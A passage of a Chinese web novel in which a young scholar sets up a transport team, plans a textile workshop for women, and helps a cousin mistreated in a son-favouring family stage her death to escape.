赵丰年却不错眼地看着眼前已经快要手足无措的少年。 只见孙阿牛咬了咬牙,良久,似乎做了什么决定,泄气般松开了紧握的拳头,“对不住,赵秀才,我仔细想了,我得留下来照顾我娘,我娘她,我是说,我家里只有我一个人了” 孙阿牛说完,又转向了柳村长,露出一个比哭还难看的笑,“三叔公,我辜负了您的期望了。” 柳村长也于心不忍,但也知道,这是没办法的事。 第40章 第40章运输队…… 运输队的人选定下后,就要开始着手往府城运的事宜了。 赵丰年第二天要去县城的油铺,顾子升昨夜便没回县城,好今日一起走,路上做个伴,赵家人他都熟悉,倒是没什么不自在,到了第二天一早,也很自然地问早上吃什么。 早食并没有因为顾子升在就格外丰盛,用的是豆浆,鸡蛋,还有素包子。 赵丰年几月前忽然想起了豆浆,便把豆浆的法子告诉了巧娘,巧娘试了几次最后才成功,刚一弄出来,豆浆就取代了杂米粥在赵家的地位。 顾子升还是头一回喝豆浆,尝了一口觉得有些新奇。 “颜色瞧着像是羊奶、牛乳,闻起来有豆子的清香,一点都豆腥味都没有,配这包子倒是刚刚好。” “若是配油条更好,拿油条泡豆浆,那才叫舒服,只是那东西费油。” “啥叫油条?”赵来贺抓着素包,一口包子一口豆浆,只觉得再满足不已,昨日吃多了大鱼大肉,今天就想吃口素的,这素包子豆浆刚刚好。 赵丰年大致说了一下做法,听完巧娘咂舌,“那不就是炸面疙瘩一样的做法吗?做成空心的长条倒是不难,就是也太费油了,过年要炸丸子的时候顺带着炸一锅还成,平日里谁吃的起这东西?” 赵来贺也赞同,夫妻俩节省惯了,就是家里就有油厂也没大手大脚用多少油的,只想着怕是天上神仙地上的老爷大人们才能这样奢侈呢。 “宝儿要想吃,下回娘做一锅,咱们一起尝尝也行,小顾你也来,你舌头灵,会吃!”当着顾子升,巧娘可不想害了儿子面子。 赵丰年哭笑不得,顾子升自然是应下不提。 两人准备出发去县城的时候,巧娘给赵丰年塞了一件披风。 “别看白日里还暖和着,入秋了后这日子天擦了黑就凉的,这还是你三伯娘给你做的,要不怎么说还是县城有钱人讲究呢,这披风一穿,整个人看着就不一样了,显贵气呢!” 三伯娘就是陈莲,赵丰年记得她曾说过要去县城的绣坊,端午那会儿还有人说在县城见过她,他倒是不知到她回村了,也不知道是特意来贺他的还是怎么的,便多问了一句,谁料巧娘当场眉头紧皱,叹了口气。 “你前面忙着准备院试就没告诉你,她啊,六月头上就回来了,陈家没分家,陈秀才经营着私塾,大儿子二儿子都住一起,如今她就住在她兄嫂家,昨日匆忙过来,又匆忙离开,问起只说家里还有活要干,连口水都不肯喝,能有什么活这么要紧?你不懂这些,一个和离的女人带着两个女儿住在兄嫂家,是不好过的。” 赵丰年听完也皱了眉头,顾子升在马车里剥着巧娘塞过来的板栗,方才只依稀听见了一两句,见他上来的时候表情不对,便问—— “你有三个大伯,刚才说的可是你那个童生的三伯家的伯娘?” 赵丰年点点头。 “他不住赵家村?我见过你大伯二伯,还有那个特别会养牛的堂伯,把侄子当亲生儿子的堂二伯,好像确实没见过不怎么会读书还跟媳妇和离了的三伯。” 赵丰年无语,“你还是,没事少听我娘说八卦吧。” 这揣着篮子瞪大一双眼睛,一边剥板栗一边打听八卦的模样,哪里还有一点官大人的模样! 顾子升却不觉得,“我这是体察民情!” “吃你的板栗吧,小顾大人。” “你别说,这野板栗还挺香甜的,你来几颗不?这可是我亲手捡的!” 两人一路上斗嘴,你来我往,最后顾子升甘拜下风,快到县城的时候,他这才想起来提了一句。 “话说,昨日我以为你问那问题是为 难孙阿牛,好让他知难而退,不要他了,没想到——果然,你虽平日里总喜欢装做出一副老成的模样,内心还是柔软的,你一定是不忍心见他一个人照顾母亲,特意留下他好给他一份赚钱的活。” 赵丰年微笑,“什么叫做‘装作一副老成的模样’?” 顾子升僵硬,“哈哈,哈哈,吃板栗吃板栗!” 顾子升说的不全对,孙阿牛确实可怜,但是这世道上,像孙阿牛跟他母亲那样的可怜人比比皆是,久而久之就知道,是同情不过来的。 只是像孙阿牛这样家庭的人,通常会走两个极端,要么怨天尤人,要么带着一股韧劲朝前走,他只是想知道,孙阿牛是哪一种罢了,而孙阿牛刚好属于后面一种,所以他留下了孙阿牛。 而赵丰年也相信,只要他给孙阿牛一个机会,他一定会有一番成就,这对于赵丰年而言,算是互利互惠。 孙阿牛还不知道自己被赵丰年抱着这样大的期望。 起初,他也以为他要被拒绝了,毕竟运输队做的都是少不了力气活,他这样的没一个人喜欢的,谁成想,赵丰年不但留下了他,还把其他几个柳河村的人都留了下来。 因此,孙阿牛充满感激地回到家里,第一件事就是告诉他娘这个好消息。 孙阿牛是个苦命人,他父亲北下逃饥荒来到了柳河村,跟柳河村的女子成亲定居有了他,也过过几年好日子,可一场风寒将他爹带走了,他娘也一病不起,为了凑银子买药,家里的田地都变卖了,房子也只剩下几件破草房了,去年过年的时候要不是柳村长接济,怕孤儿寡母都撑不过去年的冬天。 孙阿牛的娘还病着,听他说能去赵家村做事,当即激动得咳了起来。 “这,这可是真的?” “是真的,娘,三叔公喊我们去就是为了这个事,我们刚从赵家村回来,赵家人都特别好,小赵秀才只问了我一句话就留下我了,往咱们家一定会越来越好的!” “好好好,真是太好了,多亏了三叔,也多亏了小赵秀才,他们都是我们家的大恩人!阿牛啊,以后你跟着小赵秀才做事,一定要好好干,小赵秀才让你做什么你就要做什么!” 孙阿牛抹了一把眼泪,“娘你放心,我一定好好干,对了,小赵秀才的娘听说您还病着,特意提前给我支了工钱,有一两银子呢,我明天一早就去给您买药!您的病一定会好起来的!” 孙阿牛的娘念了一句“阿弥陀佛”,“小赵秀才是好人,他娘也是好人,愿菩萨保佑他们一家人。” “小赵秀才的娘还介绍了县城一位孙大夫给我,说是孙大夫医术高明,小赵秀才幼时身体不好,都是他给调理好的。” 孙阿牛的娘却问到,“小赵秀才身体不好?阿弥陀佛,菩萨千万保佑好人,不行不行,过几日我得去趟庙里,给小赵秀才请长明灯,好人得长命的!” 赵丰年还不知道孙家要给自己点长明灯。 九月底的时候,运输队由周大力领队,柳小尺副队,将五百坛丰收油装车,前往怀江府。 赵丰年跟顾子升看着队伍出城才回县衙,一路上都能听见百姓们讨论运输队。 “府城的陈知府去年已经调走了,去了江南府,如今来的知府名叫刘光景,喜好诗词歌赋,当官嘛,只能说平平,不喜揽事,不过好在人不难相处,今年于同知升去京城了,如今这个位置还空着,府城的公务目前大多都是张通判处理,倒是便宜我们行事了。” 赵丰年无语地看了他一眼,有时候他真的很想建议顾子升的那位先生多给顾子升加一门功课,就多一门“如何学会隐藏自己”。 怎么会有人破绽这么多的?像是生怕他不知道他上头有人似的。 就在此时,赵丰年忽然勒停了马。 顾子升随着他的目光看过去,只看到了一家绣坊。 “绣坊?怎么了?你要买成衣?” 赵丰年摇摇头。 “走吧。” 顾子升不明所以。 柳家村一声不吭搭上了赵家村这艘大船,跟衙门里的差大人一起为县衙做事的消息很快传到了跟赵家村临近的其他村里。 顿时不少人都捶胸顿足,一边骂柳村长心眼子多,捷足先登,一边蠢蠢欲动想让赵丰年这位新晋秀才郎也拉自己村一把。 赵丰年最近出门很有一种起初堆肥热那段时间的感觉,无论什么时候总是忽然会不知道从哪里钻出来一个人,问他运输队的事,弄得赵丰年都不敢出门了。 他索性待在村里,趁机处理一下制油厂人心浮动的问题。 制油厂这边,一听说要重新选管事组长,这回还是竞争上岗,每个人都有机会,顿时大家就犹如打了鸡血一般。 小组管事一个月已经涨到二两银子了,过年还有分红拿,谁不眼红,起先大尺子小尺还在的时候,大家知道他们是赵家的亲戚,不好说什么,也就大尺管不住底下人,底下人才不服气。 如今两人走了,大家本来就琢磨着不知道会不会重新选管事出来,结果不但要选,还是大家都有机会,那可不得抓住机会嘛! 赵丰年本来看好的人是赵来元,只是制油二厂已经在开设了,赵来元更适合二厂长的位置,跟赵来元谈了谈,赵来元却向他推荐了赵来贵。 “来贵哥粗中有细,之前又各村来回担货卖货,嘴皮子利索,管几十号人不成问题。” 赵丰年想着赵来元评价赵来贵的话,再看着眼前的赵来贵,说道,“想必,贵二伯应该也知道我为什么找你了。” 赵来贵已经猜到是最近闹的沸沸扬扬的制油厂管事问题,当即笑道,“可是厂里管事的事?” 赵丰年点头,“来元叔跟我推荐了贵二伯你,都是一家人,我也不怕跟贵二伯你说句心里话,其实,你并不在我想选的人名单里。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第41章二合一 赵丰年找到赵来贵的时候,赵来贵还高兴不已,此时一听赵丰年说没有考虑过自己,当即就急了。 “是我有哪里做的不好的吗?” “并无,相反,大家都说贵二伯的活干得好,吃苦耐劳。” “既然这样,那,为什么” 赵丰年继续,“因为一个人活干得好,并不代表其他方面也能做得好。” 赵来贵正想再问,却被赵丰年打断了,“插个题外话,贵二伯可打算再生个儿子?” 赵来贵当即愣住了。 赵丰年也理解,他一个侄子,还是堂侄,于情于理都不该过问伯父房里的事,不过此时他不光是侄子,也是东家。 “这,虽不知道你问这个做什么,我也不妨告诉你,我跟你二伯娘这辈子注定就小云一个孩子。” 看着赵来贵脸上的苦涩,赵丰年大概明白了什么,“那么,贵二伯可是打算把有志当作亲生儿子?” “真能当亲生儿子就好了,你是不是听厂子那些人说了啥误会了?我们对有志好也是有缘故的,一来我们大房两房只有这么一棵独苗,二来,小云毕竟是个女娃子,迟早要嫁人的,我跟你伯娘的身后事往后全都要靠有志,自然就多疼有志了些,这也是为了小云着想,往后她嫁了人,不还要靠他这个娘家兄弟撑腰呢嘛。”赵来贵一脸理所当然。 世人皆是如此,也不是一时半会就能改变的。 赵丰年没有反驳,却转而提起了另外一件事,“我听说,有志近来很是沉迷玩乐,尤其是猜字花赌钱,这些贵二伯可知道?” 赵来贵笑了笑,“啥沉迷玩乐的,他们小孩子小打小闹的,我听说不少读书人都爱猜字花,说什么风雅,有志玩得不多,他还是很用功在读书上的,如今也是童生了,明年还打算考秀才呢。” 赵丰年了然,赵来贵竟是知道赵有志赌钱的事的,而且看样子,甚至赵有志赌钱所需的花费很大一部分都是出自 赵有贵。 赵丰年不觉得父母溺爱孩子有什么不对,只要能将孩子往正道上引,多宠宠又怎么了?就拿巧娘赵来贺来说,他们也是属于溺爱孩子的那一类,只是他们也会告诉赵丰年很多做人的道理,告诉他什么该做什么不该做。 赵有志本身不坏,充其量是个被宠坏的孩子,但是赵大家也就赵来富还能做到宠溺而不放纵,其他人真的就是无底线了。 “二伯,本来我并无立场说你的家事,站在侄子身份上,我只能说,想要好好在读书科举这条路走下去的话,那些东西并无帮助,只会腐蚀一个人的意志,于有志并无益处,至于站在制油厂话事人的身份,我不能用家中有人赌钱,而他还无条件满足其心愿的人。” “也不是就赌钱的,谈不上”赵来贵讪讪呢喃。 “二伯,侄子心直口快,您见谅,只是,还有句话也许您没听过,‘女儿也是传后人’。” 赵来贵恍恍惚惚地从赵丰年家走出来,刚回到厂里,就见众人跟自己道喜,心中暗自苦涩,面上还撑着笑。 “没呢,不是这事,丰年找我另有其事,你们就别猜了。” 众人一听,只当是还要继续评选了。 赵来贵干着活,却越干越心慌,最后只得跟暂代管事一职的赵来元告了个假,匆忙回家去了。 赵来贵不知道赵有志最近是不是真的赌钱去了,那猜字花的东西是不是也跟赵丰年说的那般不是好东西,只是他迫切想找个人一起商量一下,他家把所有希望都投在赵有志身上,自然是想要赵有志能科举当官,好叫他们也能一起过上好日子的。 只是赵来贵回去的不巧,赵来富此时并不在家,家里只有女儿赵小云一个人。 “爹?你咋这个时候回来了?这会儿不是在制油厂上工吗?” 赵小云正在晒衣服,见到赵来贵还有些惊讶。 “你娘呢?” 赵小云继续晾衣服,“爷奶在整地,忘带水了,娘给送过去了。” “往常不是你伯娘送饭菜送水吗?”赵大家是赵来富伺候地,赵来贵跑货,如今赵来贵在制油厂干活,赵来富继续伺候庄稼,赵大强跟媳妇会一起帮忙,农忙的时候就一家人一起上,故而往常都是大嫂顾金花去送水送饭,眼下还没到最忙的时候,不至于自己媳妇去的。 “去镇上了,说是给他儿子买纸笔。” 赵来贵皱了眉头,“怎么说话呢,那是你堂哥,什么‘他儿子’的,不像话!” 赵小云翻了个白眼,“是,是堂哥,只是不知道的,还以为是我亲哥呢。” “小云——”赵来贵媳妇吴菊香刚好回来,隔着篱笆墙喊了一句,打断了父女两人。 “她爹,你怎么这时候回家了?” “找大哥有些事,小云也是大姑娘了,你平日里也多管管,口无遮拦的不像话,叫大哥大嫂听到了该怎么想咱们。” 赵小云正要再开口,却被吴菊香眼疾手快拦住了。 “大哥今天跟村里人去收豆子了,小云我回头会说他的,你晌午家里吃还是要再回厂里?” “既然大哥不在家,我就还是回厂里。” 赵来贵来了又走,等他离开,吴菊香不赞同地看着赵小云,“下次别跟你爹说有志的事了,他不乐意听,你爹说的也没错,这话叫你大伯大伯娘听了,以后不同意有志给我们养老可怎么办?” 赵小云当即扔了下手上的衣服,“你们要巴着大伯大伯娘你们自己去就是了,合该我托生成女儿,碍了你们眼了!我今日就把话放在这里了,他赵有志能当上官奉养叔婶,我就绞了头发做姑子去!” 这边赵家。 送走赵来贵后,赵来贺找到赵丰年,问他去府城读书的事。 “那天小顾大人说你可以去府城读书,后来事情多我忘记问了,你咋就不去呢?如家里也好,制油厂也好,都没啥好操心的,你只管读书去,凡事还有爹娘呢。” 院试的前三名可直接入府学,赵丰年作为院案首,是廪生,不但可以免除家中赋税,还能每月去官府领米四斗,钱八百文。可他并不打算现在就去府学读书,只每日在家里留出读书的时间。 还是那天顾子升在饭桌上问了一嘴,赵来贺才想起来儿子还要继续读书考科举的事。 “爹,我如今十二岁,倒不是我自吹自擂,倘若眼下就去府城官学读书,明年秋天乡试,届时考上了,也不过十三岁,翻过年会试紧接着就是殿试,倘若侥幸都中了,十四五岁的进士,恐怕朝廷也不敢委派我为官,与其消磨时间,不如等上一两年再去,正好眼下我还有其他的事情可做,不过我跟爹保证,明年开春就去府城读书,绝不会误了学业。” 赵来贺又是骄傲又是心疼,“爹跟娘都没期望你当多大的官,能考上秀才对我们而言已经是天大的喜事了,你都不知道多少人羡慕咱们家那三十亩地不用纳税,只是我们怕耽误了你,小顾大人都说了,你是天生该当官造福一方的,想来我跟你娘都猜错了,你不是天上的文曲星下凡,你是那大慈大悲的菩萨托生才对。” 赵丰年哭笑不得。 “总之,你有成算就行,无论你做什么,爹娘都陪着你就是了。” “知道了,爹。” 赵来贺来了又走,赵丰年这里刚坐下没多久,就听到外面传来了动静。 “宝儿——” 赵丰年出去拉开门一瞧,只见赵青青正拉着赵小云站在门外。 “宝儿,又要麻烦你了。”赵青青有些不好意思,而赵小云一言不发,双眼通红,右边脸还红了一块。 “先进来吧,我爹娘都不在。” 听到赵来贺巧娘不在家,赵青青赵小云明显松了口气。 赵丰年将两人带进书房,又给她们倒了糖水,这才问“怎么回事?” 赵青青看了眼赵小云,“出了点事,云姐不想回家,我们家又不好藏人,我就想着,宝儿你能不能收留云姐一阵子。” “青姐,云姐,到底是发生什么事了?我把云姐藏起来问题不大,只是你人消失了,贵二伯跟伯娘肯定着急,藏起来也只能躲得了一时。” 赵青青又看了眼赵小云,只见赵小云眼圈更红了,“你也不用担心我替我瞒着,不就是挨打了,没什么说不出口的,是我娘,我娘打了我,因为她的好‘儿子’赵有志!” 赵小云越说越气,竟是哭了起来,赵青青忙去安抚。 “我娘养的鸡,一年下来我一个鸡蛋都吃不到,因为赵有志读书要补身子,我爹没日没夜担货卖钱,买得起赵有志的纸笔却买不起一朵头花,桌上我多夹一筷子菜我奶都要骂我嘴大好吃…… 从小到大,每个人都跟我讲,你得对赵有志好,你爹娘没儿子,往后得靠他养,你是养给别人家的人,迟早是要出嫁的,你不对赵有志好,以后就没了依靠,我就是不明白,我有手有脚,怎么就要靠他赵有志了?我嫁人了就是外人了?就不是他们女儿了?那我大不了不成亲就是了,他们不就是怕没人养老?那我养也不行吗?他们既然只想要儿子,为什么当初生我的时候不直接把我扔河里溺死呢!” “云姐……”许是同病相怜,赵青青也红了眼眶。 “我娘以前还会偷偷给我塞吃的,可是自从赵有志考中了童生,全家人眼里就只有赵有志,我就说了几句,她竟然为了赵有志打我!那个家没有我的位置,我走就是了!” 重男轻女根深蒂固,赵青青也好,赵小云也罢,都只不过千千万万饱受其害的女孩之一。 赵丰年心里叹了口气。 “云姐,你说的没错,女子也可以做很多事,只是逃避不是解决问题的办法,你不妨跟贵二伯二伯娘好好坐下来聊一聊,把你的想法说出来,告诉他们,就算他们一时半会无法接受,时间长了,你也可证明给他们看,你并不比任何人差。” 赵丰年给赵小 云打水洗了脸,又留她们吃了吃过饭,才跟赵青青一起,陪着赵小云回了家。 过了几日,还没等到赵丰年听说赵小云那边进展如何,赵家就来了一个稀客——陈莲。 “才几个月不见,宝儿已经是秀才了。” 陈莲穿着一身洗得发白的衣裳,比几个月前瘦了一些,眼底泛着青色,看得出来她在陈家过得并不舒心。 “伯娘跟阿玉阿珠近来可还好?说来,还没谢谢伯娘送的衣服,我穿着正好,伯娘的手艺一如既往。” 女工是陈莲的强项,听他这样说,陈莲的笑容都亮了几分。 “你喜欢就好,我们都好,日子不就那样么,能过一天是一天。” “我听闻伯娘月前回陈家湾了,可是遇到什么难事了?” 陈莲嘴角微收,“其实今天来,确实是有事相求的,我听说你们弄了一个运输队,每月往返临县跟府城,就想来问问,宝儿,就是,运输队下回去府城的时候,能不能让我也跟着?我不麻烦他们,他们也不用刻意照顾我,只叫我跟在后面就成。” 赵丰年听明白了,“伯娘想去府城找活干?” 陈莲点头,“我听说,府城的绣坊成衣店招的人多,给的工钱也多,便想去碰碰运气。” 赵丰年却没有立刻答应下来。 陈莲以为被拒绝了,当即笑得有些勉强,“要是不太方便便算了,我一介女流,跟着一帮男的确实有伤风化,总不好叫你为难。” “我记得,伯娘是识字的?”赵丰年忽然问了一句。 陈莲微怔,她爹是秀才,又开着私塾,耳濡目染之下,她确实识字。 得到肯定的回答,赵丰年笑了。 “伯娘,你有兴趣将自己的特长发挥出来吗?” “这,我有什么特长的?” “伯娘,陈家湾多丘陵河滩,田地沙质居多,是以家家户户都种苎麻,可有错?” 陈莲花虽不知赵丰年为什么问这个,可赵丰年说得确实没错,她们陈家湾不但种苎麻,还纺麻线,麻布,陈家祖上就是靠卖麻布才积累了些积蓄,供出了一个秀才。 也正因为她自小接触这些,是以练了一手好女工。 “是这样没错。” 赵丰年微笑,“伯娘,我想建一个纺织厂,做麻布、成衣,但是需要一个懂这些东西的技术人才,侄儿想恳求伯娘留下来帮忙,虽然或许比不得府城的绣坊赚得多,但是侄儿可以保证,有纺织厂在的一天,就有伯娘的一个庇护之地。” 陈莲哭了,她被县城绣坊的人说闲话没哭,回到陈家湾被两个嫂子挫磨也没哭,可是此时,她忽然觉得一种莫名的委屈涌上心头。 巧娘听见里头动静,还以为赵丰年戳到陈莲伤心处了,连忙进屋了解情况,先是不赞同地看了眼儿子,又忙着安抚陈莲。 “巧娘你别怪宝儿,我是高兴的,你不知道外头都怎么说我,在县城的时候那些人说得难听,我每天闭上眼就在想我到底是哪里错了他们这样说我?做错事的人是他赵来庆,不是我啊——” 巧娘叹了口气,说是和离,可外头人哪里分得清什么叫和离什么叫休弃,只都怪到女人身上,陈莲起初要和离,大家都劝她忍下来,她也是个刚烈的,眼里容不下沙子,怕女儿被后娘欺负,又什么都不要都要带着两个女儿离开。 巧娘也是那时候才对陈莲改观,只是没想到,这样倔强又刚烈的陈莲此时能哭成这样,可见这是真受委屈了。 收拾好情绪后,陈莲便回陈家湾等赵丰年消息了,不同于上次跟赵来庆和离回陈家湾,她从来没觉得回陈家湾的这条路是这样的令人心旷神怡。 “宝儿,你当真要建纺织厂?” 饭桌上,巧娘问道。 赵丰年点点头,建纺织厂是他那天经过绣坊忽然有的想法,或许,在看到身边的几个女孩子的经历后他就开始在心中酝酿了,总之,赵丰年想建一个只招女子的厂,让女子有份活计,足以养活自己,即便是不可能跟男子平起平坐,也可以挺直腰板。 这是一个起点。 纺织厂就很合适。 如果不是有陈莲这事,他可能会晚些时候慢慢来,但是陈莲的出现,让他提前了这个计划。 说完自己的打算,巧娘沉默了。 “娘?” 巧娘拭去眼角的泪,笑了,“娘的宝儿一定是天上最慈悲的神仙托生的。” 赵丰年笑了,“那娘就是慈悲神仙的娘,也是个慈悲的大神仙。” 赵来贺“咳”了两声,试图融入进去,打破了母子温情的一幕。 巧娘白了他一眼。 “叫你白日里跟人吵,来元跟赵来贵斗嘴,你起个什么劲,嗓子哑了就多喝水少说话,能怪谁呢!” 赵来贺委屈喝了水,一个人闷头吃了起来。 “来元叔跟贵二伯斗嘴?怎么回事?” 巧娘给他碗里夹了一块肉,这才解释。 “还不是那管事位置给闹的,说是来元去劝赵来贵分清楚家事,多半是拿他那个忘恩负义的三叔说嘴,赵来贵不乐意了,只说来元咒有志呢,这么一来二回的,可不就吵起来了,你爹倒好,非要去当和事佬,结果人家没事,他自己倒是倒了嗓子了,真是该的!” 赵来元本来推举赵来贵当管事,赵丰年跟赵来贵聊了后觉得他不合适,便选了村里另外一个姓赵的本家,事后,赵丰年也跟赵来元说了原因。 依着赵来元的性格,确实有可能为了这事去劝赵来贵,毕竟他爷奶,村长爹娘还在村里整日骂白眼狼三儿子呢。 供养亲生儿子/兄弟的结局还摆在那里,更何况是侄子呢,也难怪赵来贵生气,怕是戳到痛处了。 赵丰年摇了摇头,“没动手吧?” “哪能呢,都是要脸的人。” 赵丰年本来以为这事就这么过去了,没成想,第二天一早,赵来元一早敲开了赵家的大门。 “小云不见了!村里找遍了,就是没找到人,她来你们家了没?” 赵来贺刚起来还一头雾水,“小云不见了?” “谁敲门啊——”里头巧娘听到动静喊了一句,来福跟旺财直叫唤。 “是来元——说是小云不见了——”赵来贺喊了回去,这才清醒过来,“啥叫小云不见了?这几天村里没有见到生面孔啊。” “肯定不是拍花子,就怕她一时想不开!”这时候一个村里都是同一个宗族,拍花子要敢来就要做好被全村人打死的准备。 “来元叔,到底怎么回事?”这时候赵丰年也过来了。 “昨天晚上来贵喝了酒,也不知道说了啥,总之动了手,打了小云,小云受了气跑出去了,他们一家以为小云自己会回去,没当回事,结果早上一看,人不在家,床都是凉的,这才知道小云一晚上没回来!” 赵来贺怒了,“这贵哥越来越不像话了!小云多乖的一孩子,喝了几两马尿怎么还动起手来了,往日里瞧着也不像这个性子的!” “爹,来元叔,当务之急不是数落贵二伯,是找人,来元叔,你方才说村里都找遍了?有去河滩池边找吗?” 赵来元叹了口气,“一发现人不见了就去了,没找到什么痕迹。” “没有痕迹才是好消息,云姐不是会寻短见的性子,来元叔,贵二伯如今在哪里?” “在沿着河招人呢,真是造孽,就这么一个闺女,闹成这样,好说歹说还说不通了,要是小云真出了什么事,我倒要看他们夫妻两后半辈子怎么走得出来!” 说了几句,赵来贺就加入寻人的队伍了,走之前问赵丰年去不去,赵丰年让他们先去,他一会儿跟上。 然后,他就去找赵青青了。 “宝儿?” “青姐,云姐在哪里?”赵丰年单刀直入。 赵青青愣了,随即苦笑,“我就知道瞒不住你,亏大胖哥还不让告诉你。” 赵丰年青筋直跳,“大胖也有份?” 赵青青点点头。 “说吧,你们的计划是什么?” 赵青青懵了,“什么计划?” “所以你们只是单纯想把人藏起来,然后看着全村老小一起找?”赵丰年头痛,“先带我去找人吧。” 赵青青却喊来了妹妹赵翠翠,“翠翠,你带宝儿去以前我们 常去的那个地方找哥哥姐姐。“又跟赵丰年解释,“前两天云姐才来过我家找我,我眼下不能离开,以免引起怀疑。” 还是挺周密的。 赵丰年接受了这个解释,然后跟着赵翠翠左拐右拐,成功地避开了村里的人,上了山,瞧着目标是野板栗林。 要不是赵翠翠领着他,赵丰年都不知道村里还有这么多小道。 赵丰年赵翠翠来到板栗林后面的石坡下,果然看见了正躲在石坡沟里的赵小云,以及赵大胖,此时两人都一身狼狈不堪。 “宝儿!你怎么来了,翠翠你竟然出卖我们!”赵大胖一看到两人立马火急火燎喊出了口。 赵丰年没好气,“你再大声一点,最好是把所有人都喊过来。” 赵大胖这才闭了嘴。 赵翠翠这才解释,“宝儿,有办法,对吧,宝儿,弟弟?” 迎着赵翠翠及赵大胖赵小云的目光,赵丰年忽然有种自己上了贼船的感觉。 赵来贵家的闺女赵小云死了。 村里人听说了后,顿时议论纷纷。 “据说躲去了山上,大晚上的遇着了狼!” “可怜见的,那血洒了一路,最后只看到了孩子的一只鞋还有几片衣服角,都是狼的牙齿印!大胖跟来贺家的宝儿一起上板栗林找人,差点把两男娃子都吓哭了!” 第42章 第42章分家吧 得知赵小云死讯的时候,赵青青正在家里做饭,听到她娘在家门口大声跟邻居议论说赵小云命不好,在板栗林都能遇到狼,当即就吓住了。 “个死丫头,烧个饭都烧不好,闻不到饭焦了啊!” 王小红一句骂声将赵青青拉回了现实。 “娘,你说的是真的?!云姐死了?宝儿跟大胖哥发现的?那,那翠翠呢?” “这问的什么浑话,我哪里知道翠翠去哪了,这丫头,越来越不像话了,成天地往外跑,看回来我不收拾她” 王小红念叨叨地往外走,赵青青还在不敢置信,当即抛下烧火棍,一阵风似的往外跑。 “诶——你哪去呢,见天的疯跑——”王小红在后面骂了几句。 赵青青气喘吁吁地刚跑过打谷场,还没到赵大家,就听见一阵阵嘈杂声。 赵来贵家就在打谷场后头,此时已经有不少人围在赵来贵家门口,老远就能听到吴菊香的哭嚎。 赵青青从人堆里挤进去,只见吴菊香抓着一只鞋哭得撕心裂肺,赵来贵红着眼眶蹲在地上,一看就是已经哭过一回了。 赵丰年跟赵大胖都是一身狼狈,一个面露沉痛,一个哭得一把鼻子一把泪,而赵翠翠就站在两人旁边要哭不哭,赵青青当场就有些站不稳了。 “怎,怎么会这样?” 一个婶娘于心不忍,拍拍她的肩膀,“哎,青青,你也是听到你小云姐的事来的吧?好孩子,你快劝劝你二伯娘,人死不能复生,还是要往前看啊。” 赵青青艰难地走到了赵丰年几人面前,试图从他们眼中看到这一切都是一场设计,可赵大胖都哭成了这样,怎么可能能装得出来的样子? 赵青青眼前一黑,竟是晕了过去。 “青姐!” “姐姐——” “哎,到底是一家姐妹,青青跟小云真是姐妹情深,竟然难过得晕过去了,天可怜见的——” “她赵小云走了,还要拉个垫背的!这么恶毒的心思还不是你们做爹娘的教的!” 赵青青刚醒过来就听见她娘的骂声,顿时觉得头疼。 “姐姐?”赵翠翠摸了摸赵青青额头,“不烫。” “青姐,你这会儿感觉怎么样?” “都别吵了!青青醒了!”赵来贺喊了一句,成功制止了现场的混乱。 这时候,村长赵大生也站了出来。 “老三媳妇,都这时候了,你就别再添乱了!来贵,来贵家的,孩子已经没了,她为啥跑出去你们也是知道的,心里也该有个计较,往后,哎……总之,孩子没留下个全尸,立个衣冠冢吧。” “我的小云啊——”吴菊香大嚎一声,竟是也厥了过去。 又是一片兵荒马乱。 “真是造孽,小云才十四岁,怎么就偏偏……” 从赵来贵家回家的路上,巧娘抹着眼泪惋惜不已。 “赵来贵跟吴菊香也是,有什么话不能好好说,把个气撒在孩子身上算什么,生不出儿子还怪女儿了……出了这样的事,往后看他们怎么哭去!” 赵丰年赵来贺一言不发,快走到家门口,巧娘才发觉不对,“你们这爷俩咋这么冷血?那可是一条人命呢!” 赵丰年看了眼他爹,赵来贺也刚好看向了儿子。 “爹——” “宝儿——” 赵丰年笑了,“爹,你想说什么?” 赵来贺头痛,第一次想打儿子,深吸了口气才憋出一句话。 “回家再说!你脸上收收,叫人看见了还考不考科举了!” 赵丰年如他所愿,立马摆出了沉痛的表情。 巧娘一头雾水,“你们爷两个打什么哑迷呢?” “先回家!” 刚回到了家,旺财就迎了上来,大黄懒洋洋坠在后面。 赵丰年摸了摸旺财的狗头,跟上赵来贺,来到了堂屋。 “爹不愧是老猎手,什么都瞒不住你。” 赵来贺压下打孩子的冲动,“得了吧,那血也就糊弄糊弄外行了,是鸡血吧,还有那衣服鞋子上的咬痕,一看就不是狼咬的,狼的牙口比那可比那深多了,你爹我就是山里混的,这都看不出来,就别想猎山货了!” 巧娘这才反应过来,“小云没被狼吃了?!” “这就要问问我们好儿子了!” 巧娘立马就急了,“你弄这些做什么?宝儿!你贵伯娘就差把眼睛哭瞎了,你这孩子,平日里也不是这样不分轻重的人啊!这事可不能开玩笑!” “娘,你先冷静一下。” 赵丰年给巧娘倒了糖水,这才跟两人说明了前因后果,包括赵小云如何第一次离家出走被他劝回去,到赵小云再次离家出走被赵青青拦下来,赵大胖发现然后加入帮助赵小云离家出走,他又如何发现并找到几人,然后策划了这件事。 巧娘再次抹起了泪水,“我就说他赵来贵夫妻两个都不是好的,好好地闺女被逼成啥样了?放着自己亲生闺女不管,尽想着养侄子,你说你对侄子好就好点吧,犯得着打闺女么?” 赵来贺也很无奈,“你们胆子也太大了,她一个姑娘家的,真离家出走了遇到了坏人可怎么办?太冲动了!” “他们本来想藏在石崖沟里,等过了这阵子风波,刚好运输队也差不多回来了,就让云姐扮作男子偷偷跟着运输队上府城去,” 赵来贺摇摇头,“哪里是这么容易的,府城她人生地不熟的,出了什么事都没人知道。” 赵丰年也同意,“所以,我拦住了他们。爹,娘,人总是只有失去了才知道珍惜,我并非有意捉弄他们,只是让他们得个教训。” “这话有道理,他爹,宝儿是好意,你别怪他!”明白了前因后果,巧娘立刻跟赵丰年站在了同一阵线。 “我哪里是怪他,只是这事被发现了,对他名声不好,”赵来贺叹了口气,“既然事情已经做了,那就要做好,小云现在在哪里?” “咱们家旧柴房。” “……” “罢了罢了,你连你爹都算计好了,那你要我几时发现不对劲上山找人?” 赵丰年笑了笑,“明天吧,让事情再发酵发酵。” “别让孩子在那边呆着了,大晚上的,山脚下 黑灯瞎火都没个亮,别吓了魂去。” “无妨,有来福陪着。” 赵来贺:“我说那牙印咋那么熟悉……” 此时的赵大家正一片愁云惨雾。 